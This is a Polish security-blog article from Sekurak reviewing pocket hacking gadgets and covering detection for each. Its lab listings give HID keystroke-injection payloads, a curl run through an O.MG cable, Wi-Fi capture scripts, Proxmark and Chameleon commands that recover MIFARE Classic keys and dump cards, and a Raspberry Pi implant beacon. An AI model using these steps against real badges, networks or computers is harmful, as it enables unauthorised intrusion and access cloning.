Wystartowała Akademia NIS2/KSC2! Można jeszcze dołączyć do końca lipca!
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Bezpłatne szkolenie: AI dla admina. Top 5 zadań, które zrobisz szybciej
Wystartowała Akademia NIS2/KSC2! Można jeszcze dołączyć do końca lipca!
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Bezpłatne szkolenie: AI dla admina. Top 5 zadań, które zrobisz szybciej
Hollywood zrobił hackerom dobrą i złą reklamę. Dobrą, bo chyba każdy kojarzy scenę, w której ktoś wpina niepozorny gadżet do komputera, odczekuje 13 sekund i przejmuje całą infrastrukturę. Złą, bo w prawdziwym świecie urządzenie nie „hackuje wszystkiego”. Zawsze wykorzystuje konkretny protokół, błędne założenie projektowe albo źle skonfigurowane urządzenie.
Przykładowo, klawiatura USB jest przecież tylko klawiaturą. Kabel służy wyłącznie do ładowania, a karta kontroli dostępu z poprawnym UID-em musi należeć do uprawnionego pracownika. Port sieciowy w sali konferencyjnej znajduje się wewnątrz budynku, więc można mu ufać. Pilot radiowy wysyła poprawny kod, a więc jest właściwym pilotem. Widzicie już problem?
Pokaz kieszonkowego arsenału hackera na żywo!
30 lipca ekipa sekuraka pokaże kieszonkowy arsenał hackera! Zobaczycie na żywo, jak niepozorne gadżety mogą przejąć kontrolę nad infrastrukturą i narobić niezłego zamieszania.
W agendzie: Cardputer ADV, ataki HID (Rubber Ducky & O.MG Cable), klonowanie kart (Chameleon Ultra, Proxmark 3) i budowa customowych narzędzi ofensywnych z Raspberry Pi (rysunek 1).
Bezpłatne zapisy: hacker.sekurak.pl

Wybrałem urządzenia, które razem obejmują pięć praktycznych obszarów ataku:
Każde narzędzie oceniam z perspektywy praktyka. Co robi naprawdę, gdzie kończy się marketing, jak uruchomić sensowny lab oraz co powinien zobaczyć Blue Team podczas takich ataków.
Tak – ale „aktualne” nie zawsze znaczy: „najmłodsze na rynku”. Sprawdziłem dostępność, wsparcie producenta lub aktywnego projektu open-source oraz to, czy istnieje sensowny ekosystem związany z urządzeniami. Dlatego na liście jest Cardputer ADV, a nie wycofany pierwotny Cardputer, a także referencyjny Proxmark3 RDV4 zamiast tańszego Easy? HackRF One zostaje świadomie: HackRF Pro jest nowszą konstrukcją, lecz to One ma dziś dojrzały, przenośny ekosystem PortaPack/Mayhem. Raspberry Pi 3 też nie jest najnowszym Pi, ale nadal jest wspierane i w roli sensora LAN często okazuje się praktyczniejsze od kupowania kolejnej płytki.
Sprzętowe testy bezpieczeństwa bardzo łatwo „wychodzą” poza ekran laptopa. Dlatego warto od początku zbudować prosty, powtarzalny zakres ćwiczeń.
Dobrze skonfigurowany lab powinien zostawić dowód po stronie atakującego i telemetrię po stronie obrony.
Tabela 1. Szybkie porównanie narzędzi
| Lp. | Narzędzie | Obszar działania | Zastosowanie | Ograniczenia |
| 1 | Cardputer ADV | Wi-Fi 2,4 GHz, BLE, IR, USB. | Programowalny terminal i własne prototypy. | Bez modułów nie ma NFC, LF RFID ani Sub-GHz. |
| 2 | Flipper Zero | NFC, LF RFID, Sub-GHz, IR, iButton, HID. | Szybka analiza wielu prostych technologii. | Nie jest uniwersalnym kluczem do nowoczesnych systemów. |
| 3 | USB Rubber Ducky | USB HID. | Powtarzalne testy keystroke injection. | Zależność od układu klawiatury, czasu i stanu sesji. |
| 4 | O.MG Cable | Ukryty implant USB i Wi-Fi. | Test zaufania do kabli i akcesoriów. | Wariant kabla i jego „aktywny” koniec (wtyczka) mają znaczenie. |
| 5 | WiFi Pineapple Pager | Wi-Fi 2,4/5/6 GHz. | Mobilny rekonesans i automatyzacja testów WLAN. | Analiza protokołu jest spora, ale nie jest kompletna. |
| 6 | Proxmark3 RDV4 | HF/LF RFID. | Analiza protokołu, kluczy, pamięci i sygnałów radiowych. | Wymaga wiedzy; bezpieczne karty nie poddają się prostemu kopiowaniu |
| 7 | Chameleon Ultra | Emulacja HF/LF RFID. | Kieszonkowa emulacja i testowanie czytników. | Jest emulatorem, nie pełnym analizatorem radiowym. |
| 8 | Raspberry Pi 3 (B/B+) | Ethernet, Wi-Fi, BLE, USB host. | Platforma do rozwoju implantu. | Większe gabaryty i pobór energii niż w modelu Zero. |
| 9 | Bash Bunny Mark II | USB | HID + storage + Ethernet w jednym payloadzie. | Większy fingerprint i wyższy koszt niż prosty injector HID. |
| 10 | HackRF One + PortaPack H2/H4M | SDR 1 MHz–6 GHz | Analiza widma i nieznanych protokołów radiowych. | Half-duplex, 8-bit I/Q i duża zależność od anteny/filtrów. |
Przejdźmy teraz do samej listy urządzeń.

Cardputer ADV jest jednym z tych urządzeń, które od razu uruchamiają wyobraźnię. Ma ekran, pełną miniaturową klawiaturę, akumulator, slot microSD, Wi-Fi, Bluetooth Low Energy, nadajnik podczerwieni i złącza rozszerzeń. Całość opiera się na ESP32-S3 taktowanym do 240 MHz, ma 8 MB pamięci flash i akumulator 1750 mAh. Wymiary są zbliżone do karty płatniczej, choć oczywiście urządzenie jest od niej znacznie grubsze. Czy to zabójca Flippera Zero? Nie. I dobrze. Flipper jest gotowym, mocno zintegrowanym narzędziem do kilku konkretnych klas protokołów. Cardputer to przede wszystkim programowalna platforma. Fabrycznie nie ma radia Sub-GHz, czytnika 125 kHz ani NFC. Można dodać moduły CC1101, nRF24L01, PN532, LoRa czy Ethernet, ale wtedy funkcjonalność zapewnia dopiero połączenie sprzętu, poprawnych pinów i odpowiedniego firmware’u. Popularne firmware’y społecznościowe, takie jak Bruce, zamieniają Cardputera w kieszonkowy terminal do testów Wi-Fi, BLE, IR, HID. Trzeba jednak pamiętać, że lista funkcji zmienia się szybciej niż dokumentacja, a część opcji wymaga dodatkowego hardware’u. Właśnie dzięki temu Cardputer świetnie nadaje się do nauki, prototypowania i tworzenia narzędzia dokładnie według naszego scenariusza.
Poniższy scenariusz (listing 1) zakłada, że Cardputer wykonuje pasywne skanowanie kanałów. Przedstawiony kod w języku C++ należy skompilować do postaci wykonywalnej i załadować go do urządzenia.
Listing 1. Kod skanera otoczenia Wi-Fi
| #include <M5Cardputer.h> #include <WiFi.h> #include <esp_wifi.h> void setup() { auto cfg = M5.config(); M5Cardputer.begin(cfg, true); M5Cardputer.Display.setTextSize(1); M5Cardputer.Display.println(“SEKURAK-LAB / passive Wi-Fi scan”); WiFi.mode(WIFI_STA); WiFi.disconnect(true, true); wifi_scan_config_t scan = {}; scan.show_hidden = true; scan.scan_type = WIFI_SCAN_TYPE_PASSIVE; scan.scan_time.passive = 220; // ms na kanal ESP_ERROR_CHECK(esp_wifi_scan_start(&scan, true)); uint16_t count = 20; //ograniczenie do 20 sieci wifi_ap_record_t aps[20]; ESP_ERROR_CHECK(esp_wifi_scan_get_ap_records(&count, aps)); for (uint16_t i = 0; i < count; i++) { M5Cardputer.Display.printf(“%2d ch:%2d %4d dBm %s\n”, i + 1, aps[i].primary, aps[i].rssi, aps[i].ssid); } } void loop() { M5Cardputer.update(); delay(100); } |
Wynik warto porównać z listą punktów dostępowych z kontrolera WLAN. Już na tym etapie można znaleźć nieautoryzowany hotspot, błędny kanał albo urządzenie ogłaszające nazwę podobną do firmowej – np. rogue AP.
Przy skanie pasywnym urządzenie tylko słucha beaconów, więc klasyczny WIDS (Wireless Intrusion Detection System) nie musi zobaczyć niczego charakterystycznego. Po przejściu do aktywnego skanowania pojawią się żądania typu Probe Request.
ESP32-S3 obsługuje Wi-Fi 2,4 GHz. Cardputer nie jest analizatorem 5/6 GHz i nie zastąpi produktów Pineapple’a ani karty ze wsparciem dla 5 lub 6 GHz w trybie Monitor. Nadajnik IR nie „otworzy wszystkiego”, a do RFID/NFC potrzebny jest osobny moduł. To platforma do budowy narzędzi, bardzo rozbudowywalna, ale nie gotowy wytrych, pamiętajcie o tym. W kontekście ESP32 można tworzyć też inne zabawki.

Flipper Zero (rysunek 3) stał się ikoną sprzętowego hackingu. Wbudowane radio Sub-GHz, NFC 13,56 MHz, RFID 125 kHz, podczerwień, iButton, GPIO oraz funkcje BadUSB rzeczywiście dają sporo możliwości. Największą zaletą urządzenia nie jest jednak „moc”, lecz bardzo niski próg wejścia. Można odczytać prosty pilot IR, zidentyfikować tag, przeanalizować kartę MIFARE Classic albo uruchomić payload HID lub BLE spam bez wyciągania laptopa.
Problem zaczyna się wtedy, gdy marketing miesza się z rzeczywistością. Flipper nie skopiuje automatycznie każdej karty dostępowej. UID nie zawsze jest poświadczeniem, a nowoczesne karty wykorzystują algorytmy i klucze, z którym Flipper może sobie nie poradzić. Pilot ze stałym kodem to nie to samo, co rolling code, który wykorzystuje współdzielony sekret do generowania kluczy. Odczytanie ramki radiowej nie oznacza, że jej ponowne nadanie zadziała (ataki typu replay). Jednak to nadal kapitalne narzędzie do rozpoznania technologii. W kilka minut można odpowiedzieć na pytania: Czy to 125 kHz, NFC, IR czy Sub-GHz? Jaki protokół rozpoznaje firmware? Czy system dostępu opiera decyzję wyłącznie na identyfikatorze z karty? Czy komputer ufa nowej klawiaturze? Poza tym posiadanie tkaiego urządzenia z pewnością wzbudzi zazdrość wśród kolegów. Tylko nie używaj go w Kanadzie (chyba że chcesz zostać właścicielem nowego outfitu w postaci pasiastego uniformu 😉).
Prosty kod – po wykonaniu payload otwiera systemowy Notatnik i wpisuje zdefiniowany tekst (listing 2). Brzmi banalnie, ale dowodzi najważniejszej rzeczy: urządzenie podłączone do USB zostało automatycznie zaakceptowane jako klawiatura i wykonało sekwencję znaków bez zgody użytkownika.
Listing 2. Notepad BadUSB
| REM SEKURAK-LAB DELAY 1500 GUI r DELAY 400 STRING notepad.exe ENTER DELAY 800 STRING SEKURAK LAB – SYSTEM ZAUFAL NOWEJ KLAWIATURZE USB |
Po podłączeniu Flippera do komputera przewodem USB plik zapisujemy na karcie microSD w katalogu badusb. Przed uruchomieniem trzeba wybrać właściwy układ klawiatury. Na systemie z polskim układem znaki specjalne i ścieżki potrafią popsuć nawet poprawny payload!
Windows może zapisać zdarzenie w Event Viewer z numerem 6416, gdy rozpozna nowe urządzenie zewnętrzne. Jeżeli payload uruchamia PowerShell, cmd.exe albo terminal, kolejnym śladem będzie zdarzenie utworzenia procesu: 4688 lub Sysmon Event ID 1.
Na Linuksie sensowną odpowiedzią jest USBGuard z polityką domyślnego blokowania nieznanych urządzeń. W środowiskach o wysokich wymaganiach podobne ograniczenie powinno obejmować nie tylko pamięci masowe, ale również nowe klawiatury, interfejsy sieciowe i urządzenia złożone – każde wszak zapewne ma swój unikalny identyfikator, numer seryjny.
Zablokowany ekran komputera, inny język, opóźniony start aplikacji, wymóg UAC (ang. User Access Control) albo restrykcyjna polityka urządzeń wystarczą, aby ten atak przestał działać.
Rubber Ducky (rysunek 4) wygląda jak pendrive, ale dla systemu jest przede wszystkim urządzeniem HID (ang. Human Interface Device). Organizacje przez lata blokowały pamięci USB, zapominając, że ten sam port może przyjąć klawiaturę, kartę sieciową, urządzenie szeregowe albo kilka funkcji jednocześnie (np. jako USB HUB).

Rysunek 4. USB Rubber Ducky
DuckyScript 3.0 ma zmienne, funkcje, pętle, instrukcje warunkowe, losowanie opóźnień, tryby HID/storage i mechanizmy pomagające rozpoznać środowisko. Payload jest kompilowany do pliku inject.bin, a nie interpretowany bezpośrednio z pliku tekstowego. Dzięki temu urządzenie jest szybkie i powtarzalne, ale nadal, podobnie jak przy Flipper Zero w poprzednim przykładzie, zależy od zastanego stanu interfejsu użytkownika. Łańcuch ataku został przedstawiony na rysunku 5.

Poniższy payload (listing 3) uruchamia PowerShell, zapisuje nazwę komputera oraz czas wykonania do pliku w katalogu publicznym i kończy działanie.
Listing 3. Wykonanie PowerShell z Rubber Ducky
| REM SEKURAK-LAB / proof of execution ATTACKMODE HID DELAY 1800 GUI r DELAY 350 STRING powershell.exe -NoProfile -Command “$o=$env:PUBLIC+’\sek-hid-lab.txt’; (‘HOST=’+$env:COMPUTERNAME),(‘TIME=’+(Get-Date -Format o)) | Set-Content -Encoding utf8 $o” ENTER |
Jeżeli plik C:\Users\Public\sek-hid-lab.txt powstanie, mamy dowód, że narzędzie zadziałało. Równolegle sprawdzamy log Security oraz Sysmon. Powinniśmy zobaczyć co najmniej:
powershell.exe;-NoProfile i Set-Content;Urządzenia ofensywne potrafią przedstawiać się jako znany producent lub urządzenie złożone. Polityka powinna więc uwzględniać klasę urządzenia, port, użytkownika, stan ekranu i wcześniejszą rejestrację sprzętu. Praktyczna korelacja w SIEM może brzmieć następująco: „nowe urządzenie klasy Keyboard/HID, a w ciągu 15 sekund proces powłoki uruchamia cmd, PowerShell, Terminal, osascript albo bash”. To nadal reguła z potencjalnymi false positive’ami, ale jej skuteczność jest nieporównywalnie większa niż alert na każde uruchomienie PowerShella.
Payload nie widzi ekranu tak jak człowiek. Jeżeli okno nie ma fokusu, system działa wolniej, zmienił się układ klawiatury lub endpoint blokuje nowe HID-y, sekwencja może się rozsypać. DuckyScript 3.0 ogranicza problem dzięki logice i rozpoznawaniu środowiska, ale nie usuwa go całkowicie.
Rubber Ducky wygląda jak urządzenie, które ktoś celowo wpina do USB, więc od razu może budzić konsternację, a sam atak/pentest może być spalony. O.MG Cable (rysunek 6) ma działać odwrotnie: wyglądać jak zwykły kabel do ładowania i transmisji danych. W środku znajduje się jednak implant z Wi-Fi, webowym interfejsem i obsługą payloadów HID.

Wariant Elite dodaje między innymi funkcje związane z keyloggingiem, kanałem komunikacyjnym i większą przestrzenią na dane oraz payloady. Najważniejszą cechą nie jest szybkość wpisywania komend, lecz kamuflaż. Kabel może znaleźć się w sali konferencyjnej, torbie pracownika, w recepcji, na stanowisku serwisowym albo w zestawie „zapasowych ładowarek”. Nie trzeba przekonywać użytkownika do podłączenia dziwnego pendrive’a. Wystarczy podmienić przedmiot, którego obecność nikogo nie dziwi. Po pierwszym flashowaniu kabel domyślnie udostępnia sieć O.MG. Dokumentacja szybkiego startu podaje hasło 12345678 oraz panel pod adresem http://192.168.4.1. Te dane są potrzebne do inicjalizacji, ale pozostawienie ustawień domyślnych po konfiguracji byłoby fatalnym pomysłem. Zespół red team powinien od razu zmienić hasło, sposób pracy Wi-Fi i warunki uruchomienia payloadu. Ten problem oczywiście nie występuje w wersji stricte Bluetooth, który działa w ograniczonym zasięgu, a jednocześnie kto monitoruje wewnętrzne połączenia BT…
W interfejsie O.MG zapisujemy prosty payload i uruchamiamy go z telefonu podłączonego do laboratoryjnego Access Pointa (listing 4).
Listing 4. Uruchomienie aplikacji payloadem uruchomionym za pomocą kabla
| REM SEKURAK-LAB / O.MG DELAY 1200 GUI r DELAY 350 STRING notepad.exe ENTER DELAY 700 STRING O.MG LAB – TEN KABEL JEST AKTYWNYM URZADZENIEM USB |
Warto przeprowadzić test w dwóch wariantach: najpierw przy odblokowanej sesji, a później przy zablokowanym ekranie. Różnica pokazuje, dlaczego kontrola fizyczna, polityka blokady ekranu i ograniczenia urządzeń powinny działać razem.
Dla bardziej zaawansowanych użytkowników można w interfejsie załadować taki payload (listing 5).
Listing 5. Aplikację można uruchomić jeszcze w taki sposób…
| REM O.MG Cable HTTP Inject0r DUCKY_LANG PL DELAY 2000 GUI r DELAY 700 STRINGLN powershell.exe -NoLogo -NoProfile DELAY 1500 STRINGLN curl.exe -L –max-time 20 https://sekurak.pl |
Po stronie hosta ślady są podobne, jak w przypadku Rubber Ducky: nowe urządzenie HID i procesy uruchomione chwilę później. Dodatkowym sygnałem wskazującym na atak może być mały, lokalny punkt dostępowy (dla atakującego) lub próba dołączenia nieautoryzowanego klienta (implantu) do firmowego Wi-Fi. Tego drugiego nie należy jednak traktować jako pewnej detekcji – urządzenie może działać autonomicznie, a operator może połączyć się z nim z bliskiej odległości, po Bluetooth. Wersja Ninja Cable wykorzystuje do tego celu np. magiczną różdżkę, czyli antenę z przełącznikiem uruchomienia payloadu.
Najbardziej praktyczne zabezpieczenia są mało „filmowe”:
Duże znaczenie ma wariant kabla, typ końcówek oraz sam stack technologiczny – sprzęt, system, wersje. Nie każdy kabel zachowuje się identycznie w każdym możliwym przypadku. Aktualizacje systemu, wymaganie odblokowania telefonu i ograniczenia akcesoriów USB mogą zatrzymać taki scenariusz. Mimo to O.MG/Ninja Cable jest jednym z najlepszych narzędzi do uświadomienia, że „zaufane akcesorium” może być również niezaufanym komputerem.
WiFi Pineapple (rysunek 7) od lat kojarzy się z testami sieci bezprzewodowych. Pager przenosi ten model do urządzenia, które można obsługiwać samodzielnie: ma ekran, interfejs, payloady, mechanizm rekonesansu, PineAP (fałszywy access point), obsługę PCAP i narzędzia do pracy z pasmami 2,4, 5 oraz 6 GHz.

Największą wartością Pagera jest możliwość szybkiego stworzenia obrazu otoczenia: SSID-y, BSSID-y, kanały, klienci, zachowanie stacji i ramki zarządzające. Dopiero później pojawiają się bardziej aktywne testy. Ramki radiowe nie zatrzymują się na granicy biura ani na VLAN-ie – więc potencjał takich ataków jest ogromny. Warto zwrócić uwagę, że dokumentacja pagera udostępnia komendy payloadów takie jak RECON_NEW, SET_BANDS, NETWORK_FILTER, WIFI_PCAP_START i WIFI_PCAP_STOP. Dzięki nim można zbudować powtarzalny proces, zamiast każdorazowo realizować atak ręcznie.
W izolowanym labie uruchamiamy własny Access Point z SSID SEKURAK-LAB, podłączamy do niego własny telefon i generujemy zwykły ruch. WiFi Pineapple Pager ma tylko zebrać ruch do pliku PCAP, ale oczywiście można puścić także pakiety DeAuth (listing 6)…
Listing 6. Przechwytywanie ruchu za pomocą Pineapple
| #!/bin/bash resp=$(CONFIRMATION_DIALOG “Start 30 s PCAP in isolated lab?”) || exit 1 [ “$resp” = “$DUCKYSCRIPT_USER_CONFIRMED” ] || exit 0 LOG “SEKURAK-LAB: starting Wi-Fi capture” pcap_file=$(WIFI_PCAP_START) || exit 1 sleep 30 WIFI_PCAP_STOP || exit 1 LOG “Saved: $pcap_file” VIBRATE 2 |
Po eksporcie pliku sprawdzamy beacony i unikalne pary SSID/BSSID (listing 7).
Listing 7. Analiza ruchu za pomocą narzędzia t-shark
| tshark -r sekurak-lab.pcap \ -Y ‘wlan.fc.type_subtype == 0x0008’ \ -T fields -e wlan.ssid -e wlan.bssid -e radiotap.channel.freq \ | sort -u |
Możemy też policzyć ramki deauthentication, nawet jeśli w naszym teście ich nie generujemy (na przykład żeby sprawdzić, czy ktoś w tym samym czasie nie realizuje podobnego ataku – listing 8).
Listing 8. Liczenie ramek DeAuth
| tshark -r sekurak-lab.pcap \ -Y ‘wlan.fc.type_subtype == 0x000c’ \ -T fields -e frame.time_epoch -e wlan.sa -e wlan.da |
Taki PCAP ma ogromną wartość szkoleniową – w Wiresharku można pokazać, co jest jawne przed zestawieniem szyfrowanej sesji, jak wygląda beacon, gdzie znajduje się RSN Information Element i czym różnią się ramki zarządzające od samych danych.
Samo nasłuchiwanie jest bardzo trudne do wykrycia bez specjalistycznych narzędzi którymi dysponują służby. Aktywne testy pozostawiają już znacznie więcej śladów: nietypową liczbę ramek deauthentication/disassociation, punkt dostępowy z firmowym SSID i obcym BSSID, zmianę parametrów RSN, nagłe pojawienie się otwartej kopii znanej sieci albo nietypowe żądania Probe Response. Najważniejsze zabezpieczenia to WPA2/WPA3-Enterprise z EAP-TLS, Protected Management Frames (PMF), wyłączenie automatycznego łączenia z otwartymi sieciami i możliwy system WIDS/WIPS. PMF nie naprawi wszystkich problemów Wi-Fi, ale mocno ogranicza klasę ataków opartych na niechronionych ramkach zarządzających.
Pager automatyzuje i upraszcza pracę. Największą przewagą wspomnianego urządzenia jest tempo rekonesansu i powtarzalność payloadów przy zachowaniu kieszonkowych wymiarów.
Jeżeli przyjmiemy, że Flipper to scyzorykiem, Proxmark3 (rysunek 8) jest stanowiskiem laboratoryjnym. Obsługuje technologie LF i HF, pozwala analizować warstwę radiową, protokół, pamięć, klucze, access bits, nonce’y i zachowanie czytnika. RDV4 jest obecnie flagowym sprzętem projektu RfidResearchGroup: ma strojoną konstrukcję antenową, wymienne moduły LF, 256 KB pamięci flash i złącze dla modułu smart-card. Tańsze klony (np. Easy) nadal mogą działać z klientem Iceman, ale mają słabszą ergonomię.

Pamiętajmy, że określenie „odczytałem UID” nie oznacza „sklonowałem kartę”. UID bywa tylko identyfikatorem używanym w systemie antykolizji. W źle zaprojektowanym systemie może, niestety, ogrywać rolę poświadczenia. W lepszym systemie karta i czytnik wykonują uwierzytelnienie z wykorzystaniem algorytmów kryptograficznych, więc nie zadziała. Standard MIFARE Classic jest dobrym materiałem labowym, ponieważ pozwala przejść przez cały proces: rozpoznanie typu karty, sprawdzenie kluczy domyślnych, analizę nonce’ów, odzyskanie kluczy, dump pamięci i emulację.
Zaczynamy od identyfikacji (listing 9).
Listing 9. Identyfikacja karty
| pm3 –> hf search pm3 –> hf 14a info pm3 –> hf mf info pm3 –> hf mf chk –1k -f mfc_default_keys |
Jeżeli kartą laboratoryjną rzeczywiście jest MIFARE Classic 1K (możesz kupić przez Internet) i używa kluczy testowych, możemy uruchomić automatyczny proces odzyskiwania i kopii (listing 10).
Listing 10. Automatyczny proces odzyskiwania i wykonywania kopii
| pm3 –> hf mf autopwn –1k -f mfc_default_keys pm3 –> hf mf dump |
autopwn próbuje dobrać metodę do właściwości karty i dostępnych informacji. W aktualnym kliencie ma także zabezpieczenia ograniczające błędne uruchamianie procedur przeciw innym rodzinom kart. Nadal trzeba przeczytać wynik: które klucze odzyskano, jaką metodą, jakie sektory pozostały niedostępne i gdzie zapisano pliki (rysunek 9).

Własny dump analizujemy blok po bloku. W MIFARE Classic co czwarty blok sektora jest trailerem zawierającym Key A, access bits i Key B. Błędnie ustawione access bits mogą być równie poważnym problemem jak klucz domyślny, więc samo narzędzie jest też świetnym analizatorem konfiguracji.
Samo odczytanie karty poza czytnikiem nie generuje logu w systemie kontroli dostępu. Dlatego obrona nie może opierać się wyłącznie na detekcji „ataku radiowego”. Potrzebne są zabezpieczenia w poświadczeniu i backendzie. Warto uwzględnić przy tym następujące zasady
Proxmark atakuje konkretny protokół i konkretną konfigurację. Dobra karta z poprawnym zarządzaniem kluczami, bezpiecznym kanałem i backendową autoryzacją nie zamienia się w klon po jednym poleceniu. Proxmark jest za to bezkonkurencyjny w odpowiedzi na pytanie: co ta karta oraz czytnik naprawdę robią.
Chameleon Ultra (rysunek 10) jest niewielkim emulatorem RFID/NFC opartym na nRF52840. Potrafi pracować z kilkoma slotami, komunikować się przez USB/BLE i emulować wybrane typy kart HF oraz LF. W praktyce dobrze uzupełnia Proxmark: Proxmark służy do głębokiej analizy i pozyskania danych, a Chameleon – do wygodnego odtwarzania zachowania karty podczas testu czytnika.

Chameleon nie jest urządzeniem „przyłóż dowolną kartę i skopiuj” (a tak był swego czasu reklamowany Flipper). Najpierw trzeba rozpoznać technologię, zdobyć dane dostępne w ramach zakresu, poprawnie skonfigurować typ slotu, UID, SAK/ATQA i pamięć. Jeżeli czytnik oczekuje poprawnej kryptografii, sam UID nie wystarczy.
Oficjalny CLI wymaga zastosowania Pythona 3.9 lub nowszego. Po połączeniu przygotowujemy ósmy slot jako MIFARE Classic 1K i włączamy logowanie prób uwierzytelnienia. Wszystko wykonujemy na własnym czytniku laboratoryjnym (listing 11).
Listing 11. Konfiguracja i logowanie karty
| hw connect hw slot list hw slot type -s 8 -t MIFARE_1024 hw slot init -s 8 -t MIFARE_1024 hw slot enable -s 8 –hf hw slot change -s 8 hf mf econfig –enable-log |
Teraz przykładamy Chameleona kilka razy do czytnika testowego. Po powrocie do CLI pobieramy logi (listing 12).
Listing 12. Pobranie logów karty
| hw connect hf mf elog hf mf elog –decrypt hf mf econfig –disable-log |

Mechanizm MFKEY32v2 może odzyskiwać klucze z odpowiedniej pary nonce’ów zebranych podczas uwierzytelnienia czytnika. To bardzo praktyczny test jakości wdrożenia MIFARE Classic: czy czytnik używa słabych lub współdzielonych kluczy oraz czy pojedynczy egzemplarz ujawnia sekret całej instalacji.
Czytnik może rejestrować poprawne i niepoprawne uwierzytelnienia, ale nie zawsze rozpozna, że rozmawia z emulatorem. Dlatego liczy się architektura: unikalne klucze, rotacja, bezpieczny moduł w czytniku, podpisane transakcje i reguły backendowe. Jeżeli ten sam identyfikator wchodzi w dwóch miejscach w niemożliwym czasie, system powinien to zauważyć niezależnie od tego, czy źródłem był Chameleon, karta „magic”, czy naruszony czytnik.
Emulacja warstwy radiowej i parametrów antykolizji nie zastępuje tajnego klucza oraz poprawnej odpowiedzi kryptograficznej. Chameleon jest świetny do MIFARE Classic i wielu prostszych scenariuszy. Nie należy jednak obiecywać klientowi, że urządzenie „sklonuje wszystko”, bo właśnie na tej różnicy opiera się granica między starym systemem identyfikacyjnym a współczesnym poświadczeniem.
Gotowe urządzenia są efektowne, ale w prawdziwym red teamie często wygrywa sprzęt, który już leży w szufladzie. Raspberry Pi 3 (rysunek 11) Model B ma czterordzeniowy Cortex-A53 1,2 GHz, 1 GB RAM, Wi-Fi 2,4 GHz, Bluetooth oraz Fast Ethernet. Model B+ podnosi taktowanie do 1,4 GHz, dodaje dwupasmowe Wi-Fi i szybszy interfejs Ethernet. Obie wersje mają pełnowymiarowe RJ-45 oraz cztery porty USB, więc bardzo dobrze sprawdzą się jako autonomiczny sensor LAN, kolektor albo kontrolowany implant podłączany do portu sieciowego.

Największą przewagą względem innych kieszonkowych gadżetów w Pi jest pełny Linux. Możemy użyć systemd, nftables, WireGuarda, tcpdumpa, własnego agenta i standardowych mechanizmów aktualizacji. Największą wadą jest dokładnie to samo: wszystko trzeba zaprojektować, utwardzić i utrzymać samodzielnie.
Pi 3 nie jest zamiennikiem legendarnego Zero 2 W jeden do jednego. Zamiast użycia USB gadżet lepiej wybrać opcję z wbydowanym Ethernetem. Warto rozdzielić zatem trzy role:
W Raspberry Pi OS z NetworkManagerem tworzymy połączenie z adresem statycznym w wydzielonym VLAN-ie. Nie definiujemy bramy domyślnej i jawnie zabraniamy temu profilowi przejęcia trasy domyślnej (chyba, że jednak zezwalamy 😉). Spójrzmy zatem na listing 13.
Listing 13. Przykład działania RPi
| sudo nmcli con add type ethernet ifname eth0 con-name sek-lab-eth \ ipv4.method manual ipv4.addresses 172.20.50.11/24 \ ipv4.never-default yes \ ipv6.method disabled sudo nmcli con up sek-lab-eth ip -br address show eth0 ip route sysctl net.ipv4.ip_forward |
Ostatnia komenda powinna zwrócić net.ipv4.ip_forward = 0, a ip route nie powinno pokazać trasy default przez ten profil. Dla pewności wyłączamy forwarding obu rodzin protokołów. Jeżeli Wi-Fi i Bluetooth nie są potrzebne, zmniejszamy powierzchnię ataku i jednocześnie możliwości wykrycia przez stronę broniącą (listing 14).
Listing 14. Zmniejszenie powierzchni ataku
| sudo sysctl -w net.ipv4.ip_forward=0 sudo sysctl -w net.ipv6.conf.all.forwarding=0 sudo rfkill block wifi sudo rfkill block bluetooth |
Do tego dodajemy bardzo ograniczony beacon HTTPS. Raportuje identyfikator labu, uptime i adres interfejsu LAN (listing 15).
Listing 15. Beacon przechwytujący
| #!/bin/sh set -eu collector=’https://172.20.50.10:8443/beacon’ device_id=’pi3-sekurak-01′ uptime_s=$(cut -d. -f1 /proc/uptime) lan_ip=$(ip -4 -o addr show eth0 | awk ‘{print $4}’ | head -n1) curl –fail –silent –show-error \ –cert /etc/sek-lab/client.crt \ –key /etc/sek-lab/client.key \ –cacert /etc/sek-lab/ca.crt \ –data-urlencode “device_id=$device_id” \ –data-urlencode “uptime_s=$uptime_s” \ –data-urlencode “lan_ip=$lan_ip” \ “$collector” |
To nadal implant, ale kontrolowany: może stworzyć reverse-shell, przechwytywać dane, wystawiać usługi i routować ruch (MiTM). Pozwala także przetestować wykrywanie nowego urządzenia, politykę portu, łączność wychodzącą mTLS i fizyczną inspekcję biura.
W LAN-ie zapewne pojawi się nowy adres MAC/OUI oraz okresowy ruch do kolektora. Przy adresie statycznym nie będzie fingerprintu DHCP, co samo w sobie jest wartościową obserwacją: brak DHCP nie oznacza braku urządzenia. W dojrzałej sieci port powinien wymagać 802.1X/EAP-TLS albo trafić do restrykcyjnego VLAN-u. Dodatkowo warto wykrywać:
Pi 3 jest większe i potrzebuje więcej energii niż rodzina Zero. Nadal wymaga zasilania, obrazu systemu, aktualizacji, bezpiecznego przechowywania kluczy i łączności. Wbudowany Ethernet ułatwia stabilny lab, ale charakterystyczny OUI i aktywność portu szybko zdradzą urządzenie dobrze skonfigurowanemu NAC-owi. Karta microSD nie jest też idealnym nośnikiem do długotrwałej pracy. Właśnie dlatego własny implant jest świetnym ćwiczeniem: zmusza do rozwiązania problemów, które gotowy produkt ukrywa…
Rubber Ducky jest wyspecjalizowaną klawiaturą. Bash Bunny (rysunek 12) za to jest małym komputerem z Linuksem, który może przedstawiać się hostowi jako HID, pamięć masowa, interfejs szeregowy, Ethernet RNDIS/ECM albo kombinacja tych funkcji. Ma przełącznik pozwalający przechowywać różne payloady, LED-y etapów i lokalny system plików na narzędzia oraz wyniki. To otwiera ciekawsze scenariusze niż samo wpisanie komendy. Urządzenie może uruchomić sekwencję HID, wystawić hostowi interfejs sieciowy, poczekać na adres IP, uruchomić własne narzędzie i zapisać artefakty.

Z perspektywy obrony jest to też znacznie głośniejszy obiekt: system może zobaczyć kilka nowych klas USB oraz nową sieć w ciągu kilku sekund (o ile sieć jest prawidłowo monitorowana).
Poniższy payload.txt używa wyłącznie HID i zostawia widoczny marker. Składnia pokazuje jednak różnicę między Bash Bunny a klasycznym Ducky: plik jest skryptem Bash, a komendy QUACK wstrzykują DuckyScript (listing 16).
Listing 16. Prezentacja markera HID
| #!/bin/bash # Title: Sekurak Safe HID Marker # Target: Windows 11 lab LED SETUP ATTACKMODE HID sleep 2 LED ATTACK QUACK GUI r QUACK DELAY 400 QUACK STRING “notepad.exe” QUACK ENTER QUACK DELAY 800 QUACK STRING “SEKURAK LAB – BASH BUNNY HID STAGE COMPLETE” LED FINISH |
